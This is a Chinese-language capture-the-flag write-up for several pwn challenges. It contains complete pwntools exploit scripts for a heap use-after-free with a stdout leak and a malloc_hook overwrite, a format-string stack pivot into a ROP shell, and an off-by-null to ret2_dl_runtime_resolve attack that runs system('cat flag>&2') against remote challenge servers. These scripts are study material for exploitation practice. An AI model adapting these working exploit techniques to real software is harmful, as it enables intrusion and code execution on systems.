PWNWeapon在delete过程中很明显存在UAF:
unsigned __int64 delete()
{
signed int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = get_num();
if ( v1 < 0 && v1 > 9 )
{
printf("error");
exit(0);
}
free(*((void **)&unk_202060 + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}没有show操作,选择利用IO_FILE来leakadd过程中chunk有大小限制:0-0x60所以先利用uaf修改一个fd低位来修改一个chunksize构造unsortbin,此时chunk即会包含main_arena+88而后再利用UAF将一个fd指向这里,并修改这里的fd(main_arena+88)低字节指向stdout前的位置(包含合法size"\x7F"),进而修改stdout结构体的_flags和_IO_write_base来输出一段数据(包含libc_addr)leak后再次利用uaf修改malloc_hook为one_target即可get shellEXPfrom pwn import *
#p=process("./pwn")
context.log_level="debug"
def add(index,size,name):
p.sendlineafter(">> \n","1")
p.sendlineafter("weapon: ",str(size))
p.sendlineafter("index: ",str(index))
p.sendafter(" name:\n",name)
def delete(index):
p.sendlineafter(">> \n","2")
p.sendlineafter("input idx :",str(index))
def edit(index,name):
p.sendlineafter(">> ","3")
p.sendlineafter("idx: ",str(index))
p.sendafter("new content:\n",name)
for i in range(100):
try:
p=remote("139.180.216.34","8888")
add(0,0x28,"\x00"*0x10+p64(0x30))
add(1,0x28,"aaaaa")
add(2,0x50,"aaaaa")
add(3,0x60,"aaaaa")
delete(0)
delete(1)
edit(1,"\x18")
add(0,0x28,"ccccc")
add(1,0x28,p64(0)*2+p64(0x91))
delete(0)
add(4,0x60,"\xdd\x25")
add(5,0x60,"aaaaa")
delete(3)
delete(5)
edit(5,"\x30")
add(6,0x60,"aaaaa")
add(6,0x60,"bbbbb")
add(6,0x60,"ccccc")
edit(6,"\x00"*3+p64(0)*6+p64(0xfbad1887)+p64(0)*3+"\x00")
p.recvuntil("\x7f")
p.recv(2)
libc_addr=u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
print hex(libc_addr)
add(6,0x60,"eeeeeeee")
delete(6)
edit(6,p64(libc_addr+0x7ffff7dd1b10-0x7ffff7a0d000-0x23))
add(6,0x60,"aaaaa")
add(6,0x60,"\x00"*0x13+p64(libc_addr+0xf1147))
#gdb.attach(p)
p.interactive()
except:
print "error"
Unprintable程序GOT表不可写main function会输出stack addr后关闭stdout而后会有一次格式化字符串漏洞,最后exitint __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Welcome to Ch4r1l3's printf test");
printf("This is your gift: %p\n", &v3);
close(1);
read(0, buf, 0x1000uLL);
printf(buf, buf);
exit(0);
}首先考虑复用格式化字符串漏洞在exit的时候发现了一处指针可控程序流且地址在栈上:RAX 0x600e48 (_DYNAMIC+96) ◂— 0x1c
RBX 0x7f9a13da1168 ◂— 0x2c8
RCX 0x4
RDX 0x0
RDI 0x7f9a13da0948 (_rtld_global+2312) ◂— 0x0
RSI 0x0
R8 0x4
R9 0x3
R10 0x7ffefcd81518 —▸ 0x7f9a13da09d8 (_rtld_global+2456) —▸ 0x7f9a13b7a000 ◂— jg 0x7f9a13b7a047
R11 0x3
R12 0x6010a0 (buf+64) —▸ 0x400726 (main) ◂— push rbp
R13 0x0
R14 0x7ffefcd81500 —▸ 0x7f9a13da1168 ◂— 0x2c8
R15 0x0
RBP 0x7ffefcd815c0 —▸ 0x7f9a13b745f8 (__exit_funcs) —▸ 0x7f9a13b75c40 (initial) ◂— 0x0
RSP 0x7ffefcd81500 —▸ 0x7f9a13da1168 ◂— 0x2c8
RIP 0x7f9a13b8ade3 (_dl_fini+819) ◂— call qword ptr [r12 + rdx*8]
───────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x7f9a13b8ade3 <_dl_fini+819> call qword ptr [r12 + rdx*8] <0x400726>
rdi: 0x7f9a13da0948 (_rtld_global+2312) ◂— 0x0
rsi: 0x0
rdx: 0x0
rcx: 0x4
0x7f9a13b8ade7 <_dl_fini+823> test r13d, r13d
0x7f9a13b8adea <_dl_fini+826> lea r13d, [r13 - 1]
0x7f9a13b8adee <_dl_fini+830> jne _dl_fini+816 <0x7f9a13b8ade0>
0x7f9a13b8adf0 <_dl_fini+832> mov rax, qword ptr [rbx + 0xa8]
0x7f9a13b8adf7 <_dl_fini+839> test rax, rax
在这里rdx固定,r12由:确定,而rbx=0x7f9a13da1168,这个地址在栈上存在,格式化字符串时修改时对应%26$n,r12在add前固定,为0x600dd8所以可以更改[rbx]内的偏移,使在call qword ptr [r12 + rdx*8]时,r12+rdx*8指向buf内的空间,对应位置存入main_func_addr即可实现复用一次这时候就可以在第一次格式化字符串时修改偏移来复用,并在栈中修改一个栈上的指针指向第二次printf时返回地址对应位置,即可在复用printf时修改自己的返回地址实现再次复用不过这里注意因为%n最大修改为0x2000,所以我们要在最开始获得一个stack_addr&0xFFFF<0x2000的栈地址再次复用时为了方便,避免下次返回地址再次变化,修改返回地址为0x4007A3,此时栈不会继续增长:下面考虑栈迁移,便于构造ROP链首先看到一条比较好的gadget:这时候只需要修改printf返回地址为此处,并在下一地址写入buf内的地址即可在printf返回时pop rsp,使rsp指向buf内的地址,完成栈迁移栈迁移后考虑构造execv("/bin/sh")首先要获得一个syscall的地址,程序本身没有syscall的gadget而且buf内没有可用地址,所以考虑先调用libc函数在栈中留下一个syscall附近地址,尝试后发现puts可以,调用puts后可以在栈中留下一个libc地址,且此地址附近(更改最低位一字节后便可以)存在syscall此时获得了syscallrdi,rsi可以直接利用pop的gadget构造最后需要构造rax和rdxrdx可以通过:间接获得rax我选择最后read 0x3b个字节来利用read的返回值获得设置好所有寄存器后跳入预先在buf里修改好的syscall地址即可获得shell因为没有stdout,所以获得shell直接将输出转入stderr或者stdin即可:
EXPfrom pwn import *
import time
context.log_level="debug"
# def fuck(ad,value):
# p.send("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%19$hn")
# time.sleep(5)
# p.send("%163c%75$hhn%"+str((value&0xffff)-163)+"c%20$hn")
# ad=ad+4
# value=value>>8
# time.sleep(5)
# p.send("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%19$hn")
# time.sleep(5)
# p.send("%163c%75$hhn%"+str((value&0xffff)-163)+"c%20$hn")
for i in range(1000):
p=remote("45.32.120.212",9999)
p.recvuntil("gift: ")
addr=int(p.recvuntil("\n"),16)
print hex(addr)
if addr&0xffff<0x2000:
#gdb.attach(p)
#time.sleep(20)
stack1=addr-0x7fffffffdd90+0x7fffffffdc58
print hex(stack1)
payload="%712c%26$naaaaaa"
payload+=("%"+str((stack1&0xffff)-718)+"c%11$hn").ljust(48,"a")+p64(0x0400726)
p.sendline(payload)
time.sleep(2)
ad=stack1+8
print hex(ad)
value=0x6011b0
p.sendline("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%21$hn")
time.sleep(2)
p.sendline("%163c%75$hhn%"+str((value&0xffff)-163)+"c%16$hn")
ad=ad+2
value=value>>8
time.sleep(2)
p.sendline("%163c%75$hhn%"+str((ad&0xffff)-163)+"c%21$hn")
time.sleep(2)
p.sendline("%96c%16$hn%67c%75$hhn")
time.sleep(2)
rop=p64(0x400833)+p64(0x6011f0)+p64(0x0400831)+p64(0x601060)+p64(0)+p64(0x4005F0)
rop+=p64(0x400833)+p64(0)+p64(0x0400831)+p64(0x601160)+p64(0)+p64(0x400610)
rop+=p64(0x400833)+p64(0)+p64(0x0400831)+p64(0x601060)+p64(0)+p64(0x400610)
rop+=p64(0x400833)+p64(0x601060)+p64(0x40082A)+p64(0)+p64(0)
rop+=p64(0x601168)+p64(0)+p64(0)+p64(0x601060)+p64(0x400810)
p.sendline("%2093c%75$hn\x00".ljust(0x150,"a")+p64(0)*3+rop)
time.sleep(2)
p.send("a"*8+"\xac")
time.sleep(2)
#gdb.attach(p)
p.send("/bin/sh".ljust(0x3b,"\x00"))
p.interactive()
exit()
else:
p.close()
#cat flag >&0
A+B Judge解题思路直接写C代码读 flag
Mimic_note做完的时候才发现更新了附件给了远程的server不过同时给32和64文件很明显是输入输出需要相同这时候首先确定不能leak,不然32和64一定有区别所以首先确定思路是需要构造ret2_dl_runtime_resolve程序本身漏洞在edit:char *edit()
{
char *result; // eax
int v1; // [esp+8h] [ebp-10h]
puts("index ?");
v1 = get_int();
if ( v1 < 0 || v1 > 15 || !(¬es)[2 * v1] )
return (char *)puts("invalid index");
puts("content?");
result = &(¬es)[2 * v1][read(0, (¬es)[2 * v1], nbytes[2 * v1])];
*result = 0;
return result;
}
很明显存在off by null我选择在32位中get shell因为32位和64位off by null触发时size不同,所以可以保证利用过程中输入输出相同首先常规思路,利用off by null触发unlink操作来造成堆重叠堆重叠后利用double free来分配chunk到notes中(程序没有开启PIE)此时首先实现任意地址写下面考虑栈迁移:程序GOT表可写,并且发现一个较好的gadget:
要在栈中构造一条ROP链首先栈中数据可控的只有get_int时的输入所以要找到一个函数可以调用时跳入get_int的buf里最后选择deletedelete时,在get_int后call free时:可以看到此时esp与数据块很接近在此之前先将free的got表中地址改为:因为此处sub esp, 0Ch,可以使esp落入get_int的buf[0x14],而后push eax,因为call free时eax为需要free的chunk地址,所以事先在对应note处写入一个需要的地址即可在push时打入栈中,这样,我们可控的rop链长度就会为0xc字节,在此前,将malloc的got表地址改为:此时call malloc即可滑入rop链,rop链设置为pop_ebp+fake_stack_addr+leave_ret即可迁移栈段迁移栈段后ret2_dl_runtime_resolve:迁移栈到预先设计好的保存伪造的参数及dynsym和dynstr的位置即可不过有个注意点,这次发现ret2_dl_runtime_resolve时候r_info的数值实际上不能任意,r_info的值取决于伪造的dynsym结构地址在_dl_fixup时:
EAX 0x804a030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x80484e6 (atoi@plt+6) ◂— push 0x48 /* 'hH' */
EBX 0x8048288 ◂— dec esi /* 'N' */
ECX 0x0
EDX 0x8049fc4 (_DYNAMIC+176) ◂— 0x6ffffff0
EDI 0xf7f89918 ◂— 0x0
ESI 0xb
EBP 0x804a030 (_GLOBAL_OFFSET_TABLE_+48) —▸ 0x80484e6 (atoi@plt+6) ◂— push 0x48 /* 'hH' */
ESP 0xfff01148 ◂— 0x1
EIP 0xf7f7384b (_dl_fixup+107) ◂— mov edx, dword ptr [edx + 4]
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
0xf7f73835 <_dl_fixup+85> mov ebp, eax
0xf7f73837 <_dl_fixup+87> jne _dl_fixup+304 <0xf7f73910>
0xf7f7383d <_dl_fixup+93> mov edx, dword ptr [edi + 0xe4]
0xf7f73843 <_dl_fixup+99> test edx, edx
0xf7f73845 <_dl_fixup+101> je _dl_fixup+272 <0xf7f738f0>
► 0xf7f7384b <_dl_fixup+107> mov edx, dword ptr [edx + 4]
0xf7f7384e <_dl_fixup+110> movzx edx, word ptr [edx + esi*2]
0xf7f73852 <_dl_fixup+114> and edx, 0x7fff
0xf7f73858 <_dl_fixup+120> shl edx, 4
0xf7f7385b <_dl_fixup+123> add edx, dword ptr [edi + 0x170]
0xf7f73861 <_dl_fixup+129> mov ecx, dword ptr [edx + 4]其中有一步会根据r_info>>8来获取距离:
此处的偏移处的数值,而后:
其实这里只需要计算出的edx地址合法即可但是在伪造r_info时可能会导致前面esi偏移有问题导致dl_fixup+129处edx地址非法,所以需要在伪造dynsym结构时需要选择一个合适的地址,来使这里edx合法,不造成crash最后get shell时,因为输出不能相同,原本想的是反弹shell但是远程报错没有nc和bash命令不过既然存在报错,即可将输出转向stderr获得flagEXP
from pwn import *
context.log_level="debug"
def new(size):
p.sendlineafter(">> ","1")
p.sendlineafter("size?\n",str(size))
def delete(index):
p.sendlineafter(">> ","2")
p.sendlineafter("index ?\n",str(index))
def show(index):
p.sendlineafter(">> ","3")
p.sendlineafter("index ?\n",str(index))
return p.recvuntil("\n")
def edit(index,note):
p.sendlineafter(">> ","4")
p.sendlineafter("index ?\n",str(index))
p.sendafter("content?\n",note)
def get_payload():
stack_addr=0x804a720
rel_plt = 0x80483c8
plt_0=0x8048440
index_offset = (stack_addr + 28) - rel_plt
atoi_got = 0x804A030
dynsym_addr = 0x80481D8
dynstr_addr = 0x80482c8
hack_dynsym_addr = stack_addr + 36
align = 0x10 - ((hack_dynsym_addr - dynsym_addr) & 0xf)
hack_dynsym_addr = hack_dynsym_addr + align
index_dynsym_addr = (hack_dynsym_addr - dynsym_addr) / 0x10
r_info = (index_dynsym_addr << 8) | 0x7
hack_rel = p32(atoi_got) + p32(r_info)
st_name = (hack_dynsym_addr + 0x10) - dynstr_addr
hack_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = p32(0)+p32(plt_0)+p32(index_offset)+p32(0)
payload += p32(stack_addr + 80)+p32(0)*2+hack_rel
payload += '\x00' * align+hack_dynsym +"system\x00"
payload += '\x00'*(80-len(payload))
payload += "cat flag>&2"
return payload
#p=process("./mimic_note_32")
#gdb.attach(p)
p=remote("45.32.120.212",6666)
#gdb.attach(p)
new(0x84)
new(0x14)
new(0xfc)
new(0x14)
delete(0)
edit(1,p32(0)*4+p32(0x88+0x18))
delete(2)
new(0x84)
new(0x14)
new(0x18)
delete(1)
delete(3)
delete(2)
new(0x14)
edit(1,p32(0x804a080))
new(0x14)
new(0x14)
new(0x14)
edit(5,p32(0x804A060)+p32(0x1000)+p32(0x804a720)+p32(0x1000))
new(0x90)
payload=get_payload()
edit(6,payload)
edit(5,p32(0x804A01C)+p32(0x20))
edit(0,p32(0x08048439)+p32(0x80484a6))
edit(5,p32(0x804A014)+p32(0x10)+p32(0x080489fb)+p32(1))
edit(0,p32(0x8048679))
p.sendlineafter(">> ","2")
magiccode="1"+" "*15+"\x00"*4+p32(0x804a720)+p32(0x8048924)
#gdb.attach(p)
p.sendlineafter("index ?\n",magiccode)
p.interactive()